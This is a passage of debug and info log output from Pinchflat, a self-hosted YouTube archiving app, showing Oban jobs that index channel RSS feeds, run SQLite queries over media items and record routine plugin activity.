((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 10:21:00.427 [debug] QUERY OK source="tasks" db=0.0ms idle=28.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [598, 3, ~U[2026-07-24 10:21:00Z], ~U[2026-07-24 10:21:00Z]] 10:21:00.427 [info] {"args":{"id":3},"id":595,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29522,"event":"job:stop","queue_time":484081,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:21:26.373 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:56.374 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.356 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:22:26.376 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:56.377 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.357 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:23:26.378 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:56.379 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.358 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:24:26.380 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:56.381 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.359 [info] {"source":"oban","duration":454,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:25:26.382 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:56.383 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.361 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:26:26.384 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:56.385 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.362 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:27:26.386 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:56.387 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.363 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:28:26.388 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:56.389 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.364 [info] {"source":"oban","duration":144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:29:26.391 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:56.392 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.365 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:30:26.394 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:30.016 [info] {"args":{"id":2},"id":596,"meta":{},"system_time":1784889030016235096,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:30:30.016 [debug] QUERY OK source="sources" db=0.1ms idle=446.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 10:30:30.016 [debug] QUERY OK source="settings" db=0.0ms idle=446.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:30:30.017 [debug] QUERY OK source="media_profiles" db=0.1ms idle=447.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:30:30.017 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:30:30.017 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 10:30:30.276 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:30:30.276 [debug] QUERY OK source="media_items" db=0.5ms idle=260.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:30:30.277 [debug] QUERY OK source="media_items" db=0.2ms idle=260.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 10:30:30.278 [debug] QUERY OK source="tasks" db=0.1ms idle=260.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [599, 2, ~U[2026-07-24 10:30:30Z], ~U[2026-07-24 10:30:30Z]] 10:30:30.278 [info] {"args":{"id":2},"id":596,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":262024,"event":"job:stop","queue_time":533813,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:30:43.029 [info] {"args":{"id":1},"id":597,"meta":{},"system_time":1784889043029203616,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:30:43.029 [debug] QUERY OK source="sources" db=0.0ms idle=1458.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 10:30:43.029 [debug] QUERY OK source="settings" db=0.0ms idle=1458.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:30:43.029 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:30:43.029 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:30:43.029 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 10:30:43.276 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:30:43.277 [debug] QUERY OK source="media_items" db=0.1ms idle=247.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:30:43.279 [debug] QUERY OK source="media_items" db=1.9ms idle=248.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 10:30:43.280 [debug] QUERY OK source="tasks" db=0.0ms idle=250.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [600, 1, ~U[2026-07-24 10:30:43Z], ~U[2026-07-24 10:30:43Z]] 10:30:43.280 [info] {"args":{"id":1},"id":597,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":250920,"event":"job:stop","queue_time":612029,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:30:56.395 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.366 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:31:01.047 [info] {"args":{"id":3},"id":598,"meta":{},"system_time":1784889061047233876,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:31:01.047 [debug] QUERY OK source="sources" db=0.0ms idle=681.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 10:31:01.047 [debug] QUERY OK source="settings" db=0.0ms idle=476.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:31:01.047 [debug] QUERY OK source="media_profiles" db=0.0ms idle=477.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:31:01.048 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:31:01.048 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 10:31:01.218 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:31:01.219 [debug] QUERY OK source="media_items" db=0.2ms idle=171.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:31:01.221 [debug] QUERY OK source="media_items" db=1.7ms idle=172.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 10:31:01.222 [debug] QUERY OK source="tasks" db=0.0ms idle=173.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [601, 3, ~U[2026-07-24 10:31:01Z], ~U[2026-07-24 10:31:01Z]] 10:31:01.222 [info] {"args":{"id":3},"id":598,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":174843,"event":"job:stop","queue_time":620055,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:31:26.397 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:56.399 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.367 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:32:26.401 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:56.402 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.368 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:33:26.404 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:56.405 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.369 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:34:26.406 [info] {"source":"oban","duration":215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:56.407 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.370 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:35:26.408 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:56.409 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.371 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:36:26.410 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:56.411 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.372 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:37:26.412 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:56.414 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.373 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:38:26.415 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:56.416 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.374 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:39:26.417 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:56.418 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.375 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:40:26.419 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:30.695 [info] {"args":{"id":2},"id":599,"meta":{},"system_time":1784889630695439074,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:40:30.695 [debug] QUERY OK source="sources" db=0.1ms idle=1123.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 10:40:30.695 [debug] QUERY OK source="settings" db=0.0ms idle=1123.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:40:30.696 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS 